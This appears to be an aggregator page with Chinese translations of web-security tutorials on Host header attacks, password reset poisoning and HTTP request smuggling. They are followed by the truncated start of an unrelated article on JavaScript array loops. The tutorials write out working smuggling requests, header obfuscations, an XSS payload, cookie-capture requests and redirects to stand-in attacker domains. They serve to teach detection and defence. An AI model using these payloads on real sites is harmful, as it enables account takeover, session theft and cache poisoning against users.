你有时可以用 X-Forwarded-Host 绕过 Host 头的任何验证的并注入恶意输入。

GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: bad-stuff-here

尽管 X-Forwarded-Host 是此行为的实际标准,你可能也会遇到其他具有类似用途的标头,包括:

  • X-Host
  • X-Forwarded-Server
  • X-HTTP-Host-Override
  • Forwarded

从安全角度来看,需要注意的是,有些网站,甚至可能是你自己的网站,无意中支持这种行为。这通常是因为在它们使用的某些第三方技术中,这些报头中的一个或多个是默认启用的。

如何利用 HTTP Host 头

一旦确定可以向目标应用程序传递任意主机名,就可以开始寻找利用它的方法。

在本节中,我们将提供一些你可以构造的常见 HTTP Host 头攻击的示例。

  • 密码重置中毒
  • Web 缓存中毒
  • 利用典型的服务器端漏洞
  • 绕过身份验证
  • 虚拟主机暴力破解
  • 基于路由的 SSRF

密码重置中毒

攻击者有时可以使用 Host 头进行密码重置中毒攻击。更多内容参见本系列相关部分。

通过 Host 头的 Web 缓存中毒

在探测潜在的 Host 头攻击时,你经常会遇到看似易受攻击但并不能直接利用的情况。例如,你可能会发现 Host 头在没有 HTML 编码的情况下反映在响应标记中,甚至直接用于脚本导入。反射的客户端漏洞(例如 XSS )由 Host 标头引起时通常无法利用。攻击者没法强迫受害者的浏览器请求不正确的主机。

但是,如果目标使用了 web 缓存,则可以通过缓存向其他用户提供中毒响应,将这个无用的、反射的漏洞转变为危险的存储漏洞。

要构建 web 缓存中毒攻击,需要从服务器获取反映已注入负载的响应。不仅如此,你还需要找到其他用户请求也同时使用的缓存键。如果成功,下一步是缓存此恶意响应。然后,它将被提供给任何试图访问受影响页面的用户。

独立缓存通常在缓存键中包含 Host 头,因此这种方法通常在集成的应用程序级缓存上最有效。也就是说,前面讨论的技术有时甚至可以毒害独立的 web 缓存系统。

Web 缓存中毒有一个独立的专题讨论。

利用典型的服务端漏洞

每个 HTTP 头都是利用典型服务端漏洞的潜在载体,Host 头也不例外。例如,你可以通过 Host 头探测试试平常的 SQL 注入。如果 Host 的值被传递到 SQL 语句中,这可能是可利用的。

访问受限功能

某些网站只允许内部用户访问某些功能。但是,这些网站的访问控制可能会做出错误的假设,允许你通过对 Host 头进行简单的修改来绕过这些限制。这会成为其他攻击的切入点。

暴力破解使用虚拟主机的内部网站

公司有时会犯这样的错误:在同一台服务器上托管可公开访问的网站和私有的内部网站。服务器通常有一个公共的和一个私有的 IP 地址。由于内部主机名可能会解析为私有的 IP 地址,因此仅通过查看 DNS 记录无法检测到这种情况:

www.example.com:12.34.56.78
intranet.example.com:10.0.0.132

在某些情况下,内部站点甚至可能没有与之关联的公开 DNS 记录。尽管如此,攻击者通常可以访问他们有权访问的任何服务器上的任何虚拟主机,前提是他们能够猜出主机名。如果他们通过其他方式发现了隐藏的域名,比如信息泄漏,他们就可以直接发起请求。否则,他们只能使用诸如 Burp intruiter 这样的工具,通过候选子域的简单单词表对虚拟主机进行暴力破解。

基于路由的 SSRF

有时还可能使用 Host 头发起高影响、基于路由的 SSRF 攻击。这有时被称为 "Host header SSRF attacks" 。

经典的 SSRF 漏洞通常基于 XXE 或可利用的业务逻辑,该逻辑将 HTTP 请求发送到从用户可控制的输入派生的 URL 。另一方面,基于路由的 SSRF 依赖于利用在许多基于云的架构中流行的中间组件。这包括内部负载均衡器和反向代理。

尽管这些组件部署的目的不同,但基本上,它们都会接收请求并将其转发到适当的后端。如果它们被不安全地配置,转发未验证 Host 头的请求,它们就可能被操纵以将请求错误地路由到攻击者选择的任意系统。

这些系统是很好的目标,它们处于一个特权网络位置,这使它们可以直接从公共网络接收请求,同时还可以访问许多、但不是全部的内部网络。这使得 Host 头成为 SSRF 攻击的强大载体,有可能将一个简单的负载均衡器转换为通向整个内部网络的网关。

你可以使用 Burp Collaborator 来帮助识别这些漏洞。如果你在 Host 头中提供 Collaborator 服务器的域,并且随后从目标服务器或其他路径内的系统收到了 DNS 查询,则表明你可以将请求路由到任意域。

在确认可以成功地操纵中介系统以将请求路由到任意公共服务器之后,下一步是查看能否利用此行为访问内部系统。为此,你需要标识在目标内部网络上使用的私有 IP 地址。除了应用程序泄漏的 IP 地址外,你还可以扫描属于该公司的主机名,以查看是否有解析为私有 IP 地址的情况。如果其他方法都失败了,你仍然可以通过简单地强制使用标准私有 IP 范围(例如 192.168.0.0/16 )来识别有效的 IP 地址。

通过格式错误的请求行进行 SSRF

自定义代理有时无法正确地验证请求行,这可能会使你提供异常的、格式错误的输入,从而带来不幸的结果。

例如,反向代理可能从请求行获取路径,然后加上了前缀 http://backend-server,并将请求路由到上游 URL 。如果路径以 / 开头,这没有问题,但如果以 @ 开头呢?

GET @private-intranet/example HTTP/1.1

此时,上游的 URL 将是 http://backend-server@private-intranet/example,大多数 HTTP 库将认为访问的是 private-intranet 且用户名是 backend-server


Password reset poisoning

密码重置中毒是一种技术,攻击者可以利用该技术来操纵易受攻击的网站,以生成指向其控制下的域的密码重置链接。这种行为可以用来窃取重置任意用户密码所需的秘密令牌,并最终危害他们的帐户。

密码重置是如何工作的

几乎所有需要登录的网站都实现了允许用户在忘记密码时重置密码的功能。实现这个功能有好几种方法,其中一个最常见的方法是:

  1. 用户输入用户名或电子邮件地址,然后提交密码重置请求。
  2. 网站检查该用户是否存在,然后生成一个临时的、唯一的、高熵的 token 令牌,并在后端将该令牌与用户的帐户相关联。
  3. 网站向用户发送一封包含重置密码链接的电子邮件。用户的 token 令牌作为 query 参数包含在相应的 URL 中,如 https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
  4. 当用户访问此 URL 时,网站会检查所提供的 token 令牌是否有效,并使用它来确定要重置的帐户。如果一切正常,用户就可以设置新密码了。最后,token 令牌被销毁。

与其他一些方法相比,这个过程足够简单并且相对安全。然而,它的安全性依赖于这样一个前提:只有目标用户才能访问他们的电子邮件收件箱,从而使用他们的 token 令牌。而密码重置中毒就是一种窃取此 token 令牌以更改其他用户密码的方法。

如何构造一个密码重置中毒攻击

如果发送给用户的 URL 是基于可控制的输入(例如 Host 头)动态生成的,则可以构造如下所示的密码重置中毒攻击:

  1. 攻击者根据需要获取受害者的电子邮件地址或用户名,并代表受害者提交密码重置请求,但是这个请求被修改了 Host 头,以指向他们控制的域。我们假设使用的是 evil-user.net 。
  2. 受害者收到了网站发送的真实的密码重置电子邮件,其中包含一个重置密码的链接,以及与他们的帐户相关联的 token 令牌。但是,URL 中的域名指向了攻击者的服务器:https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j 。
  3. 如果受害者点击了此链接,则密码重置的 token 令牌将被传递到攻击者的服务器。
  4. 攻击者现在可以访问网站的真实 URL ,并使用盗取的受害者的 token 令牌,将用户的密码重置为自己的密码,然后就可以登录到用户的帐户了。

在真正的攻击中,攻击者可能会伪造一个假的警告通知来提高受害者点击链接的概率。

即使不能控制密码重置的链接,有时也可以使用 Host 头将 HTML 注入到敏感的电子邮件中。请注意,电子邮件客户端通常不执行 JavaScript ,但其他 HTML 注入技术如悬挂标记攻击可能仍然适用。

原文链接:https://segmentfault.com/a/1190000039350947

收起阅读 »

Web 安全 之 HTTP request smuggling

HTTP request smuggling在本节中,我们将解释什么是 HTTP 请求走私,并描述常见的请求走私漏洞是如何产生的。什么是 HTTP 请求走私HTTP 请求走私是一种干扰网站处理多个 HTTP 请求序列的技术。请求走私漏洞危害很大,它使攻击者可以...
继续阅读 »

HTTP request smuggling

在本节中,我们将解释什么是 HTTP 请求走私,并描述常见的请求走私漏洞是如何产生的。

什么是 HTTP 请求走私

HTTP 请求走私是一种干扰网站处理多个 HTTP 请求序列的技术。请求走私漏洞危害很大,它使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。


HTTP 请求走私到底发生了什么

现在的应用架构中经常会使用诸如负载均衡、反向代理、网关等服务,这些服务在链路上起到了一个转发请求给后端服务器的作用,因为位置位于后端服务器的前面,所以本文把他们称为前端服务器。

当前端服务器(转发服务)将 HTTP 请求转发给后端服务器时,它通常会通过与后端服务器之间的同一个网络连接发送多个请求,因为这样做更加高效。协议非常简单:HTTP 请求被一个接一个地发送,接受请求的服务器则解析 HTTP 请求头以确定一个请求的结束位置和下一个请求的开始位置,如下图所示:


如上图所示,攻击者使上一个请求的一部分被后端服务器解析为下一个请求的开始,这时就会干扰应用程序处理该请求的方式。这就是请求走私攻击,其可能会造成毁灭性的后果。

HTTP 请求走私漏洞是怎么产生的

绝大多数 HTTP 请求走私漏洞的出现是因为 HTTP 规范提供了两种不同的方法来指定请求的结束位置:Content-Length 头和 Transfer-Encoding 头。

Content-Length 头很简单,直接以字节为单位指定消息体的长度。例如:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

Transfer-Encoding 头则可以声明消息体使用了 chunked 编码,就是消息体被拆分成了一个或多个分块传输,每个分块的开头是当前分块大小(以十六进制表示),后面紧跟着 \r\n,然后是分块内容,后面也是 \r\n。消息的终止分块也是同样的格式,只是其长度为零。例如:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

由于 HTTP 规范提供了两种不同的方法来指定 HTTP 消息的长度,因此单个消息中完全可以同时使用这两种方法,从而使它们相互冲突。HTTP 规范为了避免这种歧义,其声明如果 Content-Length 和 Transfer-Encoding 同时存在,则 Content-Length 应该被忽略。当只有一个服务运行时,这种歧义似乎可以避免,但是当多个服务被连接在一起时,这种歧义就无法避免了。在这种情况下,出现问题有两个原因:

  • 某些服务器不支持请求中的 Transfer-Encoding 头。
  • 某些服务器虽然支持 Transfer-Encoding 头,但是可以通过某种方式进行混淆,以诱导不处理此标头。

如果前端服务器(转发服务)和后端服务器处理 Transfer-Encoding 的行为不同,则它们可能在连续请求之间的边界上存在分歧,从而导致请求走私漏洞。

如何进行 HTTP 请求走私攻击

请求走私攻击需要在 HTTP 请求头中同时使用 Content-Length 和 Transfer-Encoding,以使前端服务器(转发服务)和后端服务器以不同的方式处理该请求。具体的执行方式取决于两台服务器的行为:

  • CL.TE:前端服务器(转发服务)使用 Content-Length 头,而后端服务器使用 Transfer-Encoding 头。
  • TE.CL:前端服务器(转发服务)使用 Transfer-Encoding 头,而后端服务器使用 Content-Length 头。
  • TE.TE:前端服务器(转发服务)和后端服务器都使用 Transfer-Encoding 头,但是可以通过某种方式混淆标头来诱导其中一个服务器不对其进行处理。

CL.TE 漏洞

前端服务器(转发服务)使用 Content-Length 头,而后端服务器使用 Transfer-Encoding 头。我们可以构造一个简单的 HTTP 请求走私攻击,如下所示:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

前端服务器(转发服务)使用 Content-Length 确定这个请求体的长度是 13 个字节,直到 SMUGGLED 的结尾。然后请求被转发给了后端服务器。

后端服务器使用 Transfer-Encoding ,把请求体当成是分块的,然后处理第一个分块,刚好又是长度为零的终止分块,因此直接认为消息结束了,而后面的 SMUGGLED 将不予处理,并将其视为下一个请求的开始。

TE.CL 漏洞

前端服务器(转发服务)使用 Transfer-Encoding 头,而后端服务器使用 Content-Length 头。我们可以构造一个简单的 HTTP 请求走私攻击,如下所示:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

注意:上面的 0 后面还有 \r\n\r\n 。

前端服务器(转发服务)使用 Transfer-Encoding 将消息体当作分块编码,第一个分块的长度是 8 个字节,内容是 SMUGGLED,第二个分块的长度是 0 ,也就是终止分块,所以这个请求到这里终止,然后被转发给了后端服务。

后端服务使用 Content-Length ,认为消息体只有 3 个字节,也就是 8\r\n,而剩下的部分将不会处理,并视为下一个请求的开始。

TE.TE 混淆 TE 头

前端服务器(转发服务)和后端服务器都使用 Transfer-Encoding 头,但是可以通过某种方式混淆标头来诱导其中一个服务器不对其进行处理。

混淆 Transfer-Encoding 头的方式可能无穷无尽。例如:

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

这些技术中的每一种都与 HTTP 规范有细微的不同。实现协议规范的实际代码很少以绝对的精度遵守协议规范,并且不同的实现通常会容忍与协议规范的不同变化。要找到 TE.TE 漏洞,必须找到 Transfer-Encoding 标头的某种变体,以便前端服务器(转发服务)或后端服务器其中之一正常处理,而另外一个服务器则将其忽略。

根据可以混淆诱导不处理 Transfer-Encoding 的是前端服务器(转发服务)还是后端服务,而后的攻击方式则与 CL.TE 或 TE.CL 漏洞相同。

如何防御 HTTP 请求走私漏洞

当前端服务器(转发服务)通过同一个网络连接将多个请求转发给后端服务器,且前端服务器(转发服务)与后端服务器对请求边界存在不一致的判定时,就会出现 HTTP 请求走私漏洞。防御 HTTP 请求走私漏洞的一些通用方法如下:

  • 禁用到后端服务器连接的重用,以便每个请求都通过单独的网络连接发送。
  • 对后端服务器连接使用 HTTP/2 ,因为此协议可防止对请求之间的边界产生歧义。
  • 前端服务器(转发服务)和后端服务器使用完全相同的 Web 软件,以便它们就请求之间的界限达成一致。

在某些情况下,可以通过使前端服务器(转发服务)规范歧义请求或使后端服务器拒绝歧义请求并关闭网络连接来避免漏洞。然而这种方法比上面的通用方法更容易出错。


查找 HTTP 请求走私漏洞

在本节中,我们将介绍用于查找 HTTP 请求走私漏洞的不同技术。

计时技术

检测 HTTP 请求走私漏洞的最普遍有效的方法就是计时技术。发送请求,如果存在漏洞,则应用程序的响应会出现时间延迟。

使用计时技术查找 CL.TE 漏洞

如果应用存在 CL.TE 漏洞,那么发送如下请求通常会导致时间延迟:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

前端服务器(转发服务)使用 Content-Length 认为消息体只有 4 个字节,即 1\r\nA,因此后面的 X 被忽略了,然后把这个请求转发给后端。而后端服务使用 Transfer-Encoding 则会一直等待终止分块 0\r\n 。这就会导致明显的响应延迟。

使用计时技术查找 TE.CL 漏洞

如果应用存在 TE.CL 漏洞,那么发送如下请求通常会导致时间延迟:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

前端服务器(转发服务)使用 Transfer-Encoding,由于第一个分块就是 0\r\n 终止分块,因此后面的 X 直接被忽略了,然后把这个请求转发给后端。而后端服务使用 Content-Length 则会一直等到后续 6 个字节的内容。这就会导致明显的延迟。

注意:如果应用程序易受 CL.TE 漏洞的攻击,则基于时间的 TE.CL 漏洞测试可能会干扰其他应用程序用户。因此,为了隐蔽并尽量减少干扰,你应该先进行 CL.TE 测试,只有在失败了之后再进行 TE.CL 测试。

使用差异响应确认 HTTP 请求走私漏洞

当检测到可能的请求走私漏洞时,可以通过利用该漏洞触发应用程序响应内容的差异来获取该漏洞进一步的证据。这包括连续向应用程序发送两个请求:

  • 一个攻击请求,旨在干扰下一个请求的处理。
  • 一个正常请求。

如果对正常请求的响应包含预期的干扰,则漏洞被确认。

例如,假设正常请求如下:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

这个请求通常会收到状态码为 200 的 HTTP 响应,响应内容包含一些搜索结果。

攻击请求则取决于请求走私是 CL.TE 还是 TE.CL 。

使用差异响应确认 CL.TE 漏洞

为了确认 CL.TE 漏洞,你可以发送如下攻击请求:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

如果攻击成功,则最后两行会被后端服务视为下一个请求的开头。这将导致紧接着的一个正常的请求变成了如下所示:

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

由于这个请求的 URL 现在是一个无效的地址,因此服务器将会作出 404 的响应,这表明攻击请求确实产生了干扰。

使用差异响应确认 TE.CL 漏洞

为了确认 TE.CL 漏洞,你可以发送如下攻击请求:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

如果攻击成功,则后端服务器将从 GET / 404 以后的所有内容都视为属于收到的下一个请求。这将会导致随后的正常请求变为:

GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

由于这个请求的 URL 现在是一个无效的地址,因此服务器将会作出 404 的响应,这表明攻击请求确实产生了干扰。

注意,当试图通过干扰其他请求来确认请求走私漏洞时,应记住一些重要的注意事项:

  • “攻击”请求和“正常”请求应该使用不同的网络连接发送到服务器。通过同一个连接发送两个请求不会证明该漏洞存在。
  • “攻击”请求和“正常”请求应尽可能使用相同的URL和参数名。这是因为许多现代应用程序根据URL和参数将前端请求路由到不同的后端服务器。使用相同的URL和参数会增加请求被同一个后端服务器处理的可能性,这对于攻击起作用至关重要。
  • 当测试“正常”请求以检测来自“攻击”请求的任何干扰时,您与应用程序同时接收的任何其他请求(包括来自其他用户的请求)处于竞争状态。您应该在“攻击”请求之后立即发送“正常”请求。如果应用程序正忙,则可能需要执行多次尝试来确认该漏洞。
  • 在某些应用中,前端服务器充当负载均衡器,根据某种负载均衡算法将请求转发到不同的后端系统。如果您的“攻击”和“正常”请求被转发到不同的后端系统,则攻击将失败。这是您可能需要多次尝试才能确认漏洞的另一个原因。
  • 如果您的攻击成功地干扰了后续请求,但这不是您为检测干扰而发送的“正常”请求,那么这意味着另一个应用程序用户受到了您的攻击的影响。如果您继续执行测试,这可能会对其他用户产生破坏性影响,您应该谨慎行事。

利用 HTTP 请求走私漏洞

在本节中,我们将描述 HTTP 请求走私漏洞的几种利用方法,这也取决于应用程序的预期功能和其他行为。

利用 HTTP 请求走私漏洞绕过前端服务器(转发服务)安全控制

在某些应用程序中,前端服务器(转发服务)不仅用来转发请求,也用来实现了一些安全控制,以决定单个请求能否被转发到后端处理,而后端服务认为接受到的所有请求都已经通过了安全验证。

假设,某个应用程序使用前端服务器(转发服务)来做访问控制,只有当用户被授权访问的请求才会被转发给后端服务器,后端服务器接受的所有请求都无需进一步检查。在这种情况下,可以使用 HTTP 请求走私漏洞绕过访问控制,将请求走私到后端服务器。

假设当前用户可以访问 /home ,但不能访问 /admin 。他们可以使用以下请求走私攻击绕过此限制:

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

前端服务器(转发服务)将其视为一个请求,然后进行访问验证,由于用户拥有访问 /home 的权限,因此把请求转发给后端服务器。然而,后端服务器则将其视为 /home 和 /admin 两个单独的请求,并且认为请求都通过了权限验证,此时 /admin 的访问控制实际上就被绕过了。

前端服务器(转发服务)对请求重写

在许多应用程序中,请求被转发给后端服务之前会进行一些重写,通常是添加一些额外的请求头之类的。例如,转发请求重写可能:

  • 终止 TLS 连接并添加一些描述使用的协议和密钥之类的头。
  • 添加 X-Forwarded-For 头用来标记用户的 IP 地址。
  • 根据用户的会话令牌确定用户 ID ,并添加用于标识用户的头。
  • 添加一些其他攻击感兴趣的敏感信息。

在某些情况下,如果你走私的请求缺少一些前端服务器(转发服务)添加的头,那么后端服务可能不会正常处理,从而导致走私请求无法达到预期的效果。

通常有一些简单的方法可以准确地得知前端服务器(转发服务)是如何重写请求的。为此,需要执行以下步骤:

  • 找到一个将请求参数的值反映到应用程序响应中的 POST 请求。
  • 随机排列参数,以使反映的参数出现在消息体的最后。
  • 将这个请求走私到后端服务器,然后直接发送一个要显示其重写形式的普通请求。

假设应用程序有个登录的功能,其会反映 email 参数:

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net

响应内容包括:

<input id="email" value="wiener@normal-user.net" type="text">

此时,你可以使用以下请求走私攻击来揭示前端服务器(转发服务)对请求的重写:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=POST /login HTTP/1.1
Host: vulnerable-website.com
...

前端服务器(转发服务)将会重写请求以添加标头,然后后端服务器将处理走私请求,并将第二个请求当作 email 参数的值,且在响应中反映出来:

<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

注意:由于最后的请求正在重写,你不知道它需要多长时间结束。走私请求中的 Content-Length 头的值将决定后端服务器处理请求的时间。如果将此值设置得太短,则只会收到部分重写请求;如果设置得太长,后端服务器将会等待超时。当然,解决方案是猜测一个比提交的请求稍大一点的初始值,然后逐渐增大该值以检索更多信息,直到获得感兴趣的所有内容。

一旦了解了转发服务器如何重写请求,就可以对走私的请求进行必要的调整,以确保后端服务器以预期的方式对其进行处理。

捕获其他用户的请求

如果应用程序包含存储和检索文本数据的功能,那么可以使用 HTTP 请求走私去捕获其他用户请求的内容。这些内容可能包括会话令牌(捕获后可以进行会话劫持攻击),或其他用户提交的敏感数据。被攻击的功能通常有评论、电子邮件、个人资料、显示昵称等等。

要进行攻击,您需要走私一个将数据提交到存储功能的请求,其中包含该数据的参数位于请求的最后。后端服务器处理的下一个请求将追加到走私请求后,结果将存储另一个用户的原始请求。

假设某个应用程序通过如下请求提交博客帖子评论,该评论将存储并显示在博客上:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

你可以执行以下请求走私攻击,目的是让后端服务器将下一个用户请求当作评论内容进行存储并展示:

GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

当下一个用户请求被后端服务器处理时,它将被附加到走私的请求后,结果就是用户的请求,包括会话 cookie 和其他敏感信息会被当作评论内容处理:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...

最后,直接通过正常的查看评论的方式就能看到其他用户请求的详细信息了。

注意:这种技术的局限性是,它通常只会捕获一直到走私请求边界符的数据。对于 URL 编码的表单提交,其是 & 字符,这意味着存储的受害用户的请求是直到第一个 & 之间的内容。

使用 HTTP 请求走私进行反射型 XSS 攻击

如果应用程序既存在 HTTP 请求走私漏洞,又存在反射型 XSS 漏洞,那么你可以使用请求走私攻击应用程序的其他用户。这种方法在两个方面优于一般的反射型 XSS 攻击方式:

  • 它不需要与受害用户交互。你不需要给受害用户发送一个钓鱼链接,然后等待他们访问。你只需要走私一个包含 XSS 有效负载的请求,由后端服务器处理的下一个用户的请求就会命中。
  • 它可以在请求的某些部分(如 HTTP 请求头)中利用 XSS 攻击,而这在正常的反射型 XSS 攻击中无法轻易控制。

假设某个应用程序在 User-Agent 头上存在反射型 XSS 漏洞,那么你可以通过如下所示的请求走私利用此漏洞:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

此时,下一个用户的请求将被附加到走私的请求后,且他们将在响应中接收到反射型 XSS 的有效负载。

利用 HTTP 请求走私将站内重定向转换为开放重定向

许多应用程序根据请求的 HOST 头进行站内 URL 的重定向。一个示例是 Apache 和 IIS Web 服务器的默认行为,其中对不带斜杠的目录的请求将重定向到带斜杠的同一个目录:

GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

通常,此行为被认为是无害的,但是可以在请求走私攻击中利用它来将其他用户重定向到外部域。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

走私请求将会触发一个到攻击者站点的重定向,这将影响到后端服务处理的下一个用户的请求,例如:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

此时,如果用户请求的是一个在 web 站点导入的 JavaScript 文件,那么攻击者可以通过在响应中返回自己的 JavaScript 来完全控制受害用户。

利用 HTTP 请求走私进行 web cache poisoning

上述攻击的一个变体就是利用 HTTP 请求走私去进行 web cache 投毒。如果前端基础架构中的任何部分使用 cache 缓存,那么可能使用站外重定向响应来破坏缓存。这种攻击的效果将会持续存在,随后对受污染的 URL 发起请求的所有用户都会中招。

在这种变体攻击中,攻击者发送以下内容到前端服务器:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com

后端服务器像之前一样进行站外重定向对走私请求进行响应。前端服务器认为是第二个请求的 URL 的响应,然后进行缓存:

/static/include.js:

GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

从此刻开始,当其他用户请求此 URL 时,他们都会收到指向攻击者网站的重定向。

利用 HTTP 请求走私进行 web cache poisoning

另一种攻击变体就是利用 HTTP 请求走私去进行 web cache 欺骗。这与 web cache 投毒的方式类似,但目的不同。

web cache poisoning(缓存中毒) 和 web cache deception(缓存欺骗) 有什么区别?

  • 对于 web cache poisoning(缓存中毒),攻击者会使应用程序在缓存中存储一些恶意内容,这些内容将从缓存提供给其他用户。
  • 对于 web cache deception(缓存欺骗),攻击者使应用程序在缓存中存储属于另一个用户的某些敏感内容,然后攻击者从缓存中检索这些内容。

这种攻击中,攻击者发起一个返回用户特定敏感内容的走私请求。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

来自另一个用户的请求被后端服务器被附加到走私请求后,包括会话 cookie 和其他标头。例如:

GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...

后端服务器以正常方式响应此请求。这个请求是用来获取用户的私人消息的,且会在受害用户会话的上下文中被正常处理。前端服务器根据第二个请求中的 URL 即 /static/some-image.png 缓存了此响应:

GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...

然后,攻击者访问静态 URL,并接收从缓存返回的敏感内容。

这里的一个重要警告是,攻击者不知道敏感内容将会缓存到哪个 URL 地址,因为这个 URL 地址是受害者用户在走私请求生效时恰巧碰到的。攻击者可能需要获取大量静态 URL 来发现捕获的内容。


原文链接:https://segmentfault.com/a/1190000039332580

收起阅读 »

JS 中循环遍历数组方式总结

本文比较并总结遍历数组的四种方式:for 循环:for (let index=0; index < someArray.length; index++) { const elem = someArray[index]; // ··· }...
继续阅读 »

本文比较并总结遍历数组的四种方式:

  • for 循环:
for (let index=0; index < someArray.length; index++) {
const elem = someArray[index];
// ···
}
  • for-in 循环:
for (const key in someArray) {
console.log(key);
}
  • 数组方法 .forEach()
someArray.forEach((elem, index) => {
console.log(elem, index);
});
  • for-of 循环:
for (const elem of someArray) {
console.log(elem);
}

for-of 通常是最佳选择。我们会明白原因。


for 循环 [ES1]

JavaScript 中的 for 循环很古老,它在 ECMAScript 1 中就已经存在了。for 循环记录 arr 每个元素的索引和值:

const arr = ['a', 'b', 'c'];
arr.prop = 'property value';

for (let index=0; index < arr.length; index++) {
const elem = arr[index];
console.log(index, elem);
}

// Output:
// 0, 'a'
// 1, 'b'
// 2, 'c'

for 循环的优缺点是什么?

  • 它用途广泛,但是当我们要遍历数组时也很麻烦。
  • 如果我们不想从第一个数组元素开始循环时它仍然很有用,用其他的循环机制很难做到这一点。

for-in循环 [ES1]

for-in 循环与 for 循环一样古老,同样在 ECMAScript 1中就存在了。下面的代码用 for-in 循环输出 arr 的 key:

const arr = ['a', 'b', 'c'];
arr.prop = 'property value';

for (const key in arr) {
console.log(key);
}

// Output:
// '0'
// '1'
